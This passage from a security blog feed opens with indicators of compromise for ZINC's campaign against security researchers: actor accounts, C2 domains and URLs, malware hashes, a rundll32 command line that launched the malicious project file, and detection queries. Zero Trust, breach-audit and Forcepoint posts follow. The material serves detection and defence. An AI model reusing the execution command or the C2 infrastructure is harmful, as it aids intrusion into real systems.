• Trojan:Win32/Comebacker.C.gen!dha
• Trojan:Win32/Klackring.A!dha
• Trojan:Win32/Klackring.B!dha

Actor-controlled Twitter Handles

• https://twitter.com/z055g
• https://twitter.com/james0x40
• https://twitter.com/mvp4p3r
• https://twitter.com/dev0exp
• https://twitter.com/BrownSec3Labs
• https://twitter.com/br0vvnn
• https://twitter.com/0xDaria

Actor-controlled LinkedIn profiles

• https://www.linkedin.com/in/james-williamson-55a9b81a6/
• https://www.linkedin.com/in/guo-zhang-b152721bb/
• https://www.linkedin.com/in/linshuang-li-aa69391bb/

Actor-controlled GitHub Accounts

Further investigation revealed a number of GitHub accounts with names matching the Twitter handles published by Google:

• https://github.com/br0vvnn
• https://github.com/dev0exp
• https://github.com/henya290
• https://github.com/james0x40
• https://github.com/tjrim91

Actor-controlled blog URLs

• https://br0vvnn[.]io
• https://blog.br0vvnn[.]io

Actor-controlled C2 domains

• codevexillium[.]org
• angeldonationblog[.]com
• investbooking[.]de
• krakenfolio[.]com

Likely legitimate but compromised websites used as C2

• www.dronerc[.]it
• www.edujikim[.]com
• www.fabioluciani[.]com
• trophylab[.]com
• forums.joycity[.]com
• Marcodetech[.]net
• Linelcssplugin[.]org

C2 URLs

• https://codevexillium[.]org/image/download/download.asp
• https://angeldonationblog[.]com/image/upload/upload.php
• https://www.dronerc[.]it/shop_testbr/Core/upload.php
• https://www.dronerc[.]it/forum/uploads/index.php
• https://www.dronerc[.]it/shop_testbr/upload/upload.php
• https://www.edujikim[.]com/intro/blue/insert.asp
• https://investbooking[.]de/upload/upload.asp

Malware hashes

Malicious Visual Studio .vcxproj files

• 0ac5c8ad0c2ddef4d41724acac586ffabcc92ab9d4906a4fc4a1ff2ec2feec7c
• 1cc60cb1e08779ff140dfbb4358a7c2587ba58ad2f1f23343b9efb51bb25aaed
• 5024f199836692fe428aef3d41a561448632e9cbab954f842ef300573600423d
• 98a6e0c8b8ec4dbbc3ef21308ec04912fa38e84828cedad99e081d588811ba5e
• d02752aadc71fafa950a6a51b1298dc914e81d20f95a86b12ee07cd2d2a85711

Comebacker malware

• 0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa
• 133280e985448a3cfa8906830af137634c4657740a8c7209a368c5a0d0b3dabf
• 25d8ae4678c37251e7ffbaeddc252ae2530ef23f66e4c856d98ef60f399fa3dc
• 284df008aa2459fd1e69b1b1c54fb64c534fce86d2704c4d4cc95d72e8c11d6f
• 34e13e2efb336fbe8202ca931a496aa451cf554450806b63d25a57a627e0fb65
• 39ad9ae3780c2f6d41b1897e78f2b2b6d549365f5f024bc68d1fe794b940f9f1
• 4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244
• 68e6b9d71c727545095ea6376940027b61734af5c710b2985a628131e47c6af7
• 80a19caf4cfc9717d449975f98a157d0a483bf48a05e3b6f7a9b204faa8c35d1
• 88aeaff0d989db824d6e9429cd94bc22bbbfc39775c0929e703343798f69e9cc
• 913871432989378a042f5023351c2fa2c2f43b497b75ef2a5fd16d65aa7d0f54
• ca48fa63bd603c74ab02841fc6b6e90c29a9b740232628fadafa923d2833a314
• d0678fe8c92912698c4b9d4d03d83131e16d8b219ccf373fa847da476788785b
• 5815103140c68614fd7fc05bad540e654a37b81b7e451e213128f2eff081005a
• e413e8094d76061f094f8b9339d00d80514065f7d37c184543c0f80c5d51bd80
• c23f50c8014c190afa14b4c2c9b85512fb3a75405652c9b6be1401f678295f36
• a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855

Klackring malware

• 0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa
• 16ad21aedf8f43fcedaa19dbd4f4fda0f3fec0517662b99a3054dac6542ab865
• 1d9a58bc9b6b22fb3e3099996dbab13bfc5258b8307026f66fa69729d40f2b13
• 4bfeb22ec438cf7ed8a7fefe6e7f321d842ad6ade0ca772732d1a757177e7ad7
• 6b3a693d391426182fc2944d14b0816cdf1e5f87c13d6eb697756f9577b0bcee
• 70e1f774c0c80e988641d709d3a6990193e039b1ce618ceaacc1d61a850e9b76
• 77a9a0f67d09cafaf05ee090483a64622a7a04dfe226763f68651b071c1802f2
• 8d85e31de2623538a42a211e3919d5602f99dc80f21e0c5f99d53838b2b07063
• 90b4bd609b84c41beeed5b9310f2d84de83c74aaecfd1facc02e278be5059110
• 9c90bbe4b61136d94170e90c299adab0d1ccbc3a8f71519799dd901d742f3561
• 9f23069f74d0fb09823ad7f46f338d7920a731622404a7754df36ffbc40f8744
• a1c4c617d99d10bbb2524b4d5bfdcf00f47d9cf39e8c7d3e6a9ce1219393da5a
• a4fb20b15efd72f983f0fb3325c0352d8a266a69bb5f6ca2eba0556c3e00bd15
• aa5264323755a7dfa7c39ada09224c8c1de03ec8aeb6f7b216a56e8475e5f547
• aeb6fb0ba6d947b4ee67a5111fbdf798c4488377ae28bdf537c1f920a58785b7
• b47969e73931546fdcfb1e69c43da911dc9f7bb8d0e211731a253b572ecdc4fe
• bc19a9415428973d65358291d604d96a0915a01d4b06939269b9e210f23aad43
• c5d13324100047d7def82eeafdb6fc98cc2ccfae56db66ada9f1c3c7429ef9cb
• dcc986c48c9c99c012ae2b314ac3f2223e217aee2ccdfb733cbbdaea0b713589
• e8cf9b04ba7054e1c34bda05106478f9071f8f6569b4822070834abbf8e07a95
• b32319da446dcf83378ab714f5ad0229dff43c9c6b345b69f1a397c951c1122e
• 11fef660dec27474c0c6c856a7b4619155821fdd1ce404848513a2700be806a5
• 9e562cc5c3eb48a5f1a1ccd29bf4b2ff4ab946f45aa5d8ea170f69104b684023

viaglt64.sys – Vulnerable Vir.IT driver for CVE-2017-16238

• 58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495

Other malware and tools

These are hashes of files we believe to be related to the attack but aren’t Comebacker or Klackring malware.

This list includes some hashes where we haven’t been able to retrieve a sample but based on the file usage or location looks likely to be related.

• e0e59bfc22876c170af65dcbf19f744ae560cc43b720b23b9d248f4505c02f3e
• 3d3195697521973efe0097a320cbce0f0f98d29d50e044f4505e1fbc043e8cf9
• 0a2d81164d524be7022ba8fd4e1e8e01bfd65407148569d172e2171b5cd76cd4
• 96d7a93f6691303d39a9cc270b8814151dfec5683e12094537fd580afdf2e5fe
• dc4cf164635db06b2a0b62d313dbd186350bca6fc88438617411a68df13ec83c
• 46efd5179e43c9cbf07dcec22ce0d5527e2402655aee3afc016e5c260650284a
• 95e42a94d4df1e7e472998f43b9879eb34aaa93f3705d7d3ef9e3b97349d7008
• 9d5320e883264a80ea214077f44b1d4b22155446ad5083f4b27d2ab5bd127ef5
• 9fd05063ad203581a126232ac68027ca731290d17bd43b5d3311e8153c893fe3
• ada7e80c9d09f3efb39b729af238fcdf375383caaf0e9e0aed303931dc73b720
• edb1597789c7ed784b85367a36440bf05267ac786efe5a4044ec23e490864cee
• 33665ce1157ddb7cd7e905e3356b39245dfba17b7a658bdbf02b6968656b9998
• 3ab770458577eb72bd6239fe97c35e7eb8816bce5a4b47da7bd0382622854f7c
• b630ad8ffa11003693ce8431d2f1c6b8b126cd32b657a4bfa9c0dbe70b007d6c
• 53f3e55c1217dafb8801af7087e7d68b605e2b6dde6368fceea14496c8a9f3e5
• 99c95b5272c5b11093eed3ef2272e304b7a9311a22ff78caeb91632211fcb777
• f21abadef52b4dbd01ad330efb28ef50f8205f57916a26daf5de02249c0f24ef
• 2cbdea62e26d06080d114bbd922d6368807d7c6b950b1421d0aa030eca7e85da
• 079659fac6bd9a1ce28384e7e3a465be4380acade3b4a4a4f0e67fd0260e9447
• 0b9133bc24593a358c0471da4aa9c7479270dab93c0941e5132af6ba177c5228

Host IOCs

Comebacker Visual Studio Project file execution

Rundll32.exe dxgkrnl_poc.vcxproj.suo,CMS_dataFinal Bx9yb37GEcJNK6bt 4231

Comebacker file names and exported function name

Note that the file name was often changed and these names shouldn’t be considered a definitive list:

• Browse.vc.db,ENGINE_get_RAND
• NVIDIA.bin,SSL_HandShaking
• adobe.bin,SSL_HandShaking
• USOShared.bin,ntWindowsProc
• update.dat,SetWebFilterString
• update.bin,CleanupBrokerString
• ntuser.db,glInitSampler
• RdrCEF.bin,json_object_get_unicode_string
• update.bin,ASN2_TYPE_new
• USO.DAT,deflateSuffix
• USO.DAT,cmsSetLogHandlerTHR
• USO.DAT,sql_blob_open
• localdb.db,ntSystemInfo

Registry Key

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update

File path

Klackring

This malware was deployed as a .sys file in C:\windows\system32\

• C:\Windows\System32\helpsvc.sys
• C:\Windows\System32\Irmon.sys
• C:\Windows\System32\LogonHours.sys
• C:\Windows\System32\Ntmssvc.sys
• C:\Windows\System32\NWCWorkstation.sys
• C:\Windows\System32\Nwsapagent.sys
• C:\Windows\System32\PCAudit.sys
• C:\Windows\System32\uploadmgr.sys

Generic folders and file paths for malware and tooling

These are folders and file paths that have been used by ZINC for malware and tools but may be used by other actors or produce false positives.

Look for .bin, .db, .dat, and .cpl files in the following folders, USOShared was most used across victims:

• C:\ProgramData\USOShared\
• C:\ProgramData\Adobe\
• C:\ProgramData\Mozilla\
• C:\ProgramData\NVIDIA\
• C:\ProgramData\Oracle\
• C:\ProgramData\VirtualBox\

Check these file paths for additional malware and tooling:

• C:\MSCache\msomui.dat
• C:\MSCache\local.cpl
• C:\ProgramData\ntuser.db
• C:\ProgramData\ntuser.ini
• C:\ProgramData\taskhost.exe
• C:\ProgramData\Adobe\get.exe
• C:\ProgramData\Adobe\ARM\AdobeUpdate.exe
• C:\ProgramData\Mozilla\update.bin
• C:\ProgramData\NVIDIA\graphicscheck.exe
• C:\ProgramData\NVIDIA\NVIDIA.bin
• C:\ProgramData\Oracle\java.db
• C:\ProgramData\Oracle\java.cpl
• C:\ProgramData\USOShared\Search.bin
• C:\Windows\netsvc.exe
• C:\Windows\system32\kjchost.dll
• C:\Windows\System32\traextapi.dll
• C:\Windows\System32\healthextapi.dll
• C:\Windows\System32\detaextapi.dll
• C:\Windows\Temp\ads.tmp
• C:\windows\Temp\CA_Root.pfx
• C:\Recovery\recover.bin
• C:\Recovery\re.bin

Advanced hunting queries

To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint:

Command and control

Look for backdoor establishing network connections to command and control. Run query in Microsoft Defender for Endpoint

DeviceNetworkEvents 
| where RemoteUrl in~('codevexillium.org',
'angeldonationblog.com',
'investbooking.de',
'krakenfolio.com')

Execution

Look for PowerShell launched from MSBUILD with the related commands. Run Query in Microsoft Defender for Endpoint

DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has "is64bitoperatingsystem" 
and ProcessCommandLine has "Debug\\Browse"

Malicious files

Look for the presence of malicious files related to this threat. Run the below query in Microsoft Defender for Endpoint

DeviceFileEvents
| where SHA256 in~(
// Malicious Visual Studio .vcxproj files
'0ac5c8ad0c2ddef4d41724acac586ffabcc92ab9d4906a4fc4a1ff2ec2feec7c',
'1cc60cb1e08779ff140dfbb4358a7c2587ba58ad2f1f23343b9efb51bb25aaed',
'5024f199836692fe428aef3d41a561448632e9cbab954f842ef300573600423d',
'98a6e0c8b8ec4dbbc3ef21308ec04912fa38e84828cedad99e081d588811ba5e',
'd02752aadc71fafa950a6a51b1298dc914e81d20f95a86b12ee07cd2d2a85711',
// Comebacker Malware
'0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa',
'133280e985448a3cfa8906830af137634c4657740a8c7209a368c5a0d0b3dabf',
'25d8ae4678c37251e7ffbaeddc252ae2530ef23f66e4c856d98ef60f399fa3dc',
'284df008aa2459fd1e69b1b1c54fb64c534fce86d2704c4d4cc95d72e8c11d6f',
'34e13e2efb336fbe8202ca931a496aa451cf554450806b63d25a57a627e0fb65',
'39ad9ae3780c2f6d41b1897e78f2b2b6d549365f5f024bc68d1fe794b940f9f1',
'4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244',
'68e6b9d71c727545095ea6376940027b61734af5c710b2985a628131e47c6af7',
'80a19caf4cfc9717d449975f98a157d0a483bf48a05e3b6f7a9b204faa8c35d1',
'88aeaff0d989db824d6e9429cd94bc22bbbfc39775c0929e703343798f69e9cc',
'913871432989378a042f5023351c2fa2c2f43b497b75ef2a5fd16d65aa7d0f54',
'ca48fa63bd603c74ab02841fc6b6e90c29a9b740232628fadafa923d2833a314',
'd0678fe8c92912698c4b9d4d03d83131e16d8b219ccf373fa847da476788785b',
'5815103140c68614fd7fc05bad540e654a37b81b7e451e213128f2eff081005a',
'e413e8094d76061f094f8b9339d00d80514065f7d37c184543c0f80c5d51bd80',
'c23f50c8014c190afa14b4c2c9b85512fb3a75405652c9b6be1401f678295f36',
'a75886b016d84c3eaacaf01a3c61e04953a7a3adf38acf77a4a2e3a8f544f855',
// Klackring Malware
'0acf21fba2b46ad2dd9c0da887f0fda704e7a5569b735c288d43a57688eb53fa',
'16ad21aedf8f43fcedaa19dbd4f4fda0f3fec0517662b99a3054dac6542ab865',
'1d9a58bc9b6b22fb3e3099996dbab13bfc5258b8307026f66fa69729d40f2b13',
'4bfeb22ec438cf7ed8a7fefe6e7f321d842ad6ade0ca772732d1a757177e7ad7',
'6b3a693d391426182fc2944d14b0816cdf1e5f87c13d6eb697756f9577b0bcee',
'70e1f774c0c80e988641d709d3a6990193e039b1ce618ceaacc1d61a850e9b76',
'77a9a0f67d09cafaf05ee090483a64622a7a04dfe226763f68651b071c1802f2',
'8d85e31de2623538a42a211e3919d5602f99dc80f21e0c5f99d53838b2b07063',
'90b4bd609b84c41beeed5b9310f2d84de83c74aaecfd1facc02e278be5059110',
'9c90bbe4b61136d94170e90c299adab0d1ccbc3a8f71519799dd901d742f3561',
'9f23069f74d0fb09823ad7f46f338d7920a731622404a7754df36ffbc40f8744',
'a1c4c617d99d10bbb2524b4d5bfdcf00f47d9cf39e8c7d3e6a9ce1219393da5a',
'a4fb20b15efd72f983f0fb3325c0352d8a266a69bb5f6ca2eba0556c3e00bd15',
'aa5264323755a7dfa7c39ada09224c8c1de03ec8aeb6f7b216a56e8475e5f547',
'aeb6fb0ba6d947b4ee67a5111fbdf798c4488377ae28bdf537c1f920a58785b7',
'b47969e73931546fdcfb1e69c43da911dc9f7bb8d0e211731a253b572ecdc4fe',
'bc19a9415428973d65358291d604d96a0915a01d4b06939269b9e210f23aad43',
'c5d13324100047d7def82eeafdb6fc98cc2ccfae56db66ada9f1c3c7429ef9cb',
'dcc986c48c9c99c012ae2b314ac3f2223e217aee2ccdfb733cbbdaea0b713589',
'e8cf9b04ba7054e1c34bda05106478f9071f8f6569b4822070834abbf8e07a95',
'b32319da446dcf83378ab714f5ad0229dff43c9c6b345b69f1a397c951c1122e',
'11fef660dec27474c0c6c856a7b4619155821fdd1ce404848513a2700be806a5',
'9e562cc5c3eb48a5f1a1ccd29bf4b2ff4ab946f45aa5d8ea170f69104b684023',
// viaglt64.sys – Vulnerable Vir.IT driver for CVE-2017-16238
'58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495'
// Other potentially related malware and tools
'e0e59bfc22876c170af65dcbf19f744ae560cc43b720b23b9d248f4505c02f3e',
'3d3195697521973efe0097a320cbce0f0f98d29d50e044f4505e1fbc043e8cf9',
'0a2d81164d524be7022ba8fd4e1e8e01bfd65407148569d172e2171b5cd76cd4',
'96d7a93f6691303d39a9cc270b8814151dfec5683e12094537fd580afdf2e5fe',
'dc4cf164635db06b2a0b62d313dbd186350bca6fc88438617411a68df13ec83c',
'46efd5179e43c9cbf07dcec22ce0d5527e2402655aee3afc016e5c260650284a',
'95e42a94d4df1e7e472998f43b9879eb34aaa93f3705d7d3ef9e3b97349d7008',
'9d5320e883264a80ea214077f44b1d4b22155446ad5083f4b27d2ab5bd127ef5',
'9fd05063ad203581a126232ac68027ca731290d17bd43b5d3311e8153c893fe3',
'ada7e80c9d09f3efb39b729af238fcdf375383caaf0e9e0aed303931dc73b720',
'edb1597789c7ed784b85367a36440bf05267ac786efe5a4044ec23e490864cee',
'33665ce1157ddb7cd7e905e3356b39245dfba17b7a658bdbf02b6968656b9998',
'3ab770458577eb72bd6239fe97c35e7eb8816bce5a4b47da7bd0382622854f7c',
'b630ad8ffa11003693ce8431d2f1c6b8b126cd32b657a4bfa9c0dbe70b007d6c',
'53f3e55c1217dafb8801af7087e7d68b605e2b6dde6368fceea14496c8a9f3e5',
'99c95b5272c5b11093eed3ef2272e304b7a9311a22ff78caeb91632211fcb777',
'f21abadef52b4dbd01ad330efb28ef50f8205f57916a26daf5de02249c0f24ef',
'2cbdea62e26d06080d114bbd922d6368807d7c6b950b1421d0aa030eca7e85da',
'079659fac6bd9a1ce28384e7e3a465be4380acade3b4a4a4f0e67fd0260e9447')

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post ZINC attacks against security researchers appeared first on Microsoft Security.

The Solorigate supply chain attack has captured the focus of the world over the last month. This attack was simultaneously sophisticated and ordinary. The actor demonstrated sophistication in the breadth of tactics used to penetrate, expand across, and persist in affected infrastructure, but many of the tactics, techniques, and procedures (TTPs) were individually ordinary.

Companies operating with a Zero Trust mentality across their entire environment are more resilient, consistent, and responsive to new attacks—Solorigate is no different. As threats increase in sophistication, Zero Trust matters more than ever, but gaps in the application of the principles—such as unprotected devices, weak passwords, and gaps in multi-factor authentication (MFA) coverage can be exploited by actors.

Applying Zero Trust

Zero Trust in practical terms is a transition from implicit trust—assuming that everything inside a corporate network is safe—to the model that assumes breach and explicitly verifies the security status of identity, endpoint, network, and other resources based on all available signals and data. It relies on contextual real-time policy enforcement to achieve least privileged access and minimize risks. Automation and Machine Learning are used to enable rapid detection, prevention, and remediation of attacks using behavior analytics and large datasets.

Verify explicitly

To verify explicitly means we should examine all pertinent aspects of access requests instead of assuming trust based on a weak assurance like network location. Examine the identity, endpoint, network, and resource then apply threat intelligence and analytics to assess the context of each access request.

When we look at how attackers compromised identity environments with Solorigate, there were three major vectors: compromised user accounts, compromised vendor accounts, and compromised vendor software. In each of these cases, we can clearly see where the attacker exploited gaps in explicit verification.

• Where user accounts were compromised, known techniques like password spray, phishing, or malware were used to compromise user credentials and gave the attacker critical access to the customer network. On-premises identity systems are more vulnerable to these common attacks because they lack cloud-powered protections like password protection, recent advances in password spray detection, or enhanced AI for account compromise prevention.
• Again, in cases where the actor succeeded, highly privileged vendor accounts lacked protections such as MFA, IP range restrictions, device compliance, or access reviews. In other cases, user accounts designated for use with vendor software were configured without MFA or policy restrictions. Vendor accounts should be configured and managed with the same rigor as used for the accounts which belong to the organization.
• Even in the worst case of SAML token forgery, excessive user permissions and missing device and network policy restrictions allowed the attacks to progress. The first principle of Zero Trust is to verify explicitly—be sure you extend this verification to all access requests, even those from vendors and especially those from on-premises environments.

Cloud identity, like Azure Active Directory (Azure AD), is simpler and safer than federating with on-premises identity. Not only is it easier to maintain (fewer moving parts for attackers to exploit), your Zero Trust policy should be informed by cloud intelligence. Our ability to reason over more than eight trillion signals a day across the Microsoft estate coupled with advanced analytics allows for the detection of anomalies that are very subtle and only detectable in very large data sets. User history, organization history, threat intelligence, and real-time observations are an essential mechanism in a modern defense strategy. Enhance this signal with endpoint health and compliance, device compliance policies, app protection policies, session monitoring, and control, and resource sensitivity to get to a Zero Trust verification posture.

For customers that use federation services today, we continue to develop tools to simplify migration to Azure AD. Start by discovering the apps that you have and analyzing migration work using Azure AD Connect health and activity reports.

Least privileged access

Least privileged access helps ensure that permissions are only granted to meet specific business goals from the appropriate environment and on appropriate devices. This minimizes the attacker’s opportunities for lateral movement by granting access in the appropriate security context and after applying the correct controls—including strong authentication, session limitations, or human approvals and processes. The goal is to compartmentalize attacks by limiting how much any compromised resource (user, device, or network) can access others in the environment.

With Solorigate, the attackers took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had no permissions at all. Conversely, customers with good least-privileged access policies such as using Privileged Access Workstations (PAW) devices were able to protect key resources even in the face of initial network access by the attackers.

Assume breach

Our final principle is to Assume Breach, building our processes and systems assuming that a breach has already happened or soon will. This means using redundant security mechanisms, collecting system telemetry, using it to detect anomalies, and wherever possible, connecting that insight to automation to allow you to prevent, respond and remediate in near-real-time.

Sophisticated analysis of anomalies in customer environments was key to detecting this complex attack. Customers that used rich cloud analytics and automation capabilities, such as those provided in Microsoft 365 Defender, were able to rapidly assess attacker behavior and begin their eviction and remediation procedures.

Importantly, organizations such as Microsoft who do not model “security through obscurity” but instead model as though the attacker is already observing them are able to have more confidence that mitigations are already in place because threat models assume attacker intrusions.

Summary and recommendations

It bears repeating that Solorigate is a truly significant and advanced attack. However ultimately, the attacker techniques observed in this incident can be significantly reduced in risk or mitigated by the application of known security best practices. For organizations—including Microsoft—thorough application of a Zero Trust security model provided meaningful protection against even this advanced attacker.

To apply the lessons from the Solorigate attack and the principles of Zero Trust that can help protect and defend, get started with these recommendations:

1. More than any other single step, enable MFA to reduce account compromise probability by more than 99.9 percent. This is so important, we made Azure AD MFA free for any Microsoft customer using a subscription of a commercial online service.
2. Configure for Zero Trust using our Zero Trust Deployment Guides.
3. Look at our Identity workbook for Solorigate.

Stay safe out there.

— Alex Weinert

For more information about Microsoft Zero Trust please visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Using Zero Trust principles to protect against sophisticated attacks like Solorigate appeared first on Microsoft Security.

GDPR, HIPPA, GLBA, all 50 U.S. States, and many countries have privacy breach reporting requirements. If an organization experiences a breach of customer or employee personal information, they must report it within the required time frame. The size and scope of this reporting effort can be massive. Using Microsoft 365 Advanced Audit and Advanced eDiscovery to better understand the scope of the breach can minimize the burden on customers as well as the financial and reputational cost to the organization.

A changing privacy landscape

In 2005 ChoicePoint, a Georgia-based financial data aggregator had a data breach of 145,000 of its customers. There were multiple security lapses and resulting penalties, but initially, only ChoicePoint’s California-based customers were required to be notified because, at the time, California, with California Senate Bill 1386, was the only state that had a mandatory privacy breach notification law.

Since that time, all 50 U.S. States have put in place mandatory privacy breach notification laws. Countries in the Americas, the Middle East, Europe, and Asia have adopted privacy standards including mandatory breach notification. Broader regulations that address this issue include California Consumer Privacy Act, China’s Personal Information Security Specification, Brazil’s Lei Geral de Proteção de Dados Pessoais (LGPD), and the European General Data Protection Regulation (GDPR). Given how often these laws are added or updated, it’s challenging for any organization to keep up. As one solution, Microsoft 365 Compliance Manager provides a set of continually updated assessments (174 and growing) to assist our customers with these standards.

A board-level business risk

The reputational and financial risk to a company from a privacy breach can be massive. For example, under California Civil Code 1798.80, which deals with the breach of personal health information, there is a penalty of up to $25,000 per patient record breached. For many standards, there are not only regulatory penalties imposed, but also the right of private action by those whose records have been breached (such as, those who have had their records breached can sue for damages, creating financial liability for a company beyond the regulatory penalties).

There are timeframes under which notification must be made. The California Code requires notification to the regulator within 15 days after unauthorized disclosure is detected. Article 33 of GDPR requires notification to the regulator within 72 hours after the organization becomes aware of the breach.

According to a list compiled by the Infosec Institute, the average cost of a data breach in 2019 was $3.9 million but can range as high as $2 billion in cases like the Equifax breach of 2017.

The reputational damage associated with a breach of customer, employee, or other stakeholders’ personal or business information can substantially reduce a company’s value.

The scope of notification (if any is needed at all) and remediation depends on understanding the scope of the breach in a timely fashion. In the absence of reliable information, companies need to make worst-case assumptions that may result in larger notifications, higher costs, and unnecessary hardship for customers and other stakeholders.

Preparation for breach

As security and compliance professionals, our priority is to avoid breaches with a defense in depth strategy including Zero Trust architecture.

Microsoft has comprehensive security solutions for Microsoft 365, as well as compliance and risk management solutions that enable our compliance pillar framework:

But we also must prepare for breaches even as we defend against them. Part of that preparation is putting our organization in a position to scope a breach and limit its impact. This means ensuring we have the data governance and signal in place before the breach happens. Security professionals know that they have to deploy solutions like Data Loss Prevention, firewalls, and encryption to defend against attacks, but they may not focus as much on having the right audit data available and retained, and visualizations and playbooks in place beforehand to scope a future breach.

Use Microsoft 365 Advanced Audit and Advanced eDiscovery to investigate compromised accounts

The Microsoft 365 Advanced Audit solution makes a range of data available that is focused on what will be useful to respond to crucial events and forensic investigations. It retains this data for one year (rather than the standard 90-day retention), with an option to extend the retention to ten years. This keeps the audit logs available to long-running investigations and to respond to regulatory and legal obligations.

These crucial events can help you investigate possible breaches and determine the scope of compromise. Advanced Audit provides the following crucial events:

• MailItemsAccessed: Triggered when mail data is accessed by mail protocols and mail clients.
• Send: Triggered when a user sends, replies to, or forwards an email message.
• SearchQueryInitiatedExchange: Triggered when a user searches for items in an Exchange mailbox.
• SearchQueryInitiatedSharePoint: Triggered when a user searches for items in SharePoint sites of the organization.

There are built-in default alert policies that use the Advanced Audit data to provide situational awareness either through Microsoft 365’s own security and compliance portal, through Microsoft’s Azure Sentinel cloud-native SIEM, or through a customer’s third-party SIEM. A customer can create customized alerts to use the audit data as well.

Let’s look at how a customer might use Advanced Audit to investigate a compromised account and scope the extent of a data breach:

In an account takeover, an attacker uses a compromised user account to gain access and operate as a user. The attacker may or may not have intended to access the user’s email. If they intend to access the user’s email, they may or may not have had the chance to do so. This is especially true if the defense in-depth and situational awareness discussed above is in place. The attack may have been detected, password changed, account locked, and more.

If the user’s email has confidential information of customers or other stakeholders, we need to know if this email was accessed. We need to separate legitimate access by the mailbox owner during the account takeover from access by the attacker.

With Advanced Audit, we have this ability. Without it, a customer will have to assume all information in the user’s mailbox is now in the hands of the attacker and proceed with reporting and remediation on this basis.

The MailItemsAccessed audit data item will indicate if a mailbox item has been accessed by a mail protocol. It covers mail accessed by both sync and bind. In the case of sync access, the mail was accessed by a desktop version of the Outlook client for Windows or Mac. In bind access, the InternetMessageId of the individual message will be recorded in the audit record.

We have the ability to forensically analyze mail access via a desktop client or via Outlook Web Access.

We also need to differentiate between the mailbox owner’s legitimate access to a mail item during the attack time period and access by the attacker. We can do this by examining the audit records to see the context of the access, including the session ID and IP address used for access. We match these with other audit records and known good access by the user.

Advanced Audit retains other events like Teams Joins, File Accessed, Messages Sent, Searches Queries, and many others that can support a breach analysis.

When we’ve properly scoped the data that the attacker has had access to, we want to deep dive and inspect the content.

With Advanced eDiscovery we can collect all emails, documents, Microsoft Teams, and Yammer interactions of the account that was taken over. We can search for confidential information and metadata to identify the material in question:

There is metadata for each item which, for emails, includes InternetMessageID as well as many other items such as from, to, and when it was sent, and any Microsoft Information Protection sensitivity label.

Advanced Audit and Advanced eDiscovery are an important part of an effective security risk and compliance strategy. These Microsoft 365 native tools allow our customers to understand the true scope of a breach. It has the potential to substantially reduce or eliminate the reporting requirements stemming from a compromised account. Advanced Audit can reduce the financial and reputational damage to a company, its customers, employees, partners, and other stakeholders.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

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This document is provided “as-is.” Information and views expressed in this document, including URL and other Internet Web site references, may change without notice. You bear the risk of using it. This document is not intended to communicate legal advice or a legal or regulatory compliance opinion. Each customer’s situation is unique, and legal and regulatory compliance should be assessed in consultation with their legal counsel.

The post Privacy breaches: Using Microsoft 365 Advanced Audit and Advanced eDiscovery to minimize impact appeared first on Microsoft Security.

This blog post is part of the Microsoft Intelligence Security Association (MISA) guest blog series. Learn more about MISA here.

Adopting cloud-based services as part of an organization’s digital transformation strategy is no longer optional, it’s a necessity. Last year, only 18 percent of the workforce worked remotely full-time. Today, companies have been forced to accelerate their digital transformation efforts to ensure the safety and well-being of employees. At the same time, organizations cannot afford to sacrifice productivity for the sake of security. With the massive move to online experiences and remote working, comes a new set of challenges—how do you ensure your data, your network, and your employees stay secure, wherever they are?

Forcepoint has integrated with Azure Active Directory (Azure AD) to enhance existing Conditional Access capabilities by orchestrating change in authentication policies dynamically so that every user authenticates with steps aligned to their risk score. Active sessions can be terminated upon risk score increase so that users must re-authenticate using an enhanced sequence of challenges, and users can be temporarily blocked in the case of high risk. Forcepoint risk scores, combined with Azure AD risk, are calculated based on the user’s context, such as location or IP, to help automatically and accurately prioritize the riskiest users. The joint solution enables administrators to protect critical data and leverage the power of automation to prevent data compromise and exfiltration from occurring. By combining the power of Azure AD with Forcepoint security solutions, organizations can scale a risk-adaptive approach to identity and access management and cloud application access without changing their existing infrastructure.

People are the perimeter

Before COVID-19, in our 2020 Forcepoint Cybersecurity Predictions and Trends report, we detailed the shifting emphasis to a “cloud-first” posture by public and private sector organizations alike. There was, and still is, a clear need for organizations to expand their view of network security and begin to understand that their people are the new perimeter. Today, more than ever, it is imperative for businesses to comprehend and to manage the interaction between their two most valuable assets—their people and their data.

Human-centric cybersecurity is about focusing on not just individuals, but how their behaviors evolve over time. Forcepoint risk scores are designed to continuously calculate the level of risk associated with individual behavior in the past, present, and future. Most organizations today will adopt blanket policies to improve their security posture. Even though policies for individuals may have some level of flexibility, most tend to apply policies to all users within a group—regardless of the individual risk profile. This results in unnecessarily complicated steps for low-risk users accessing common applications, and weak authentication challenges for privileged users logging into critical systems. In short, these implementations are likely frustrating your low-risk users by creating barriers to productivity and allowing high-risk users to fly under the radar.

Forcepoint’s mission is to provide enterprises with the tools needed to understand and quickly assess the risk levels of human behavior across their networks and endpoints and take automated action by implementing risk adaptive protection. We offer a portfolio of security solutions designed to quickly and continuously assess the potential of compromised user risk and automatically apply the appropriate protective measures.

Forcepoint + Azure Active Directory = Better together

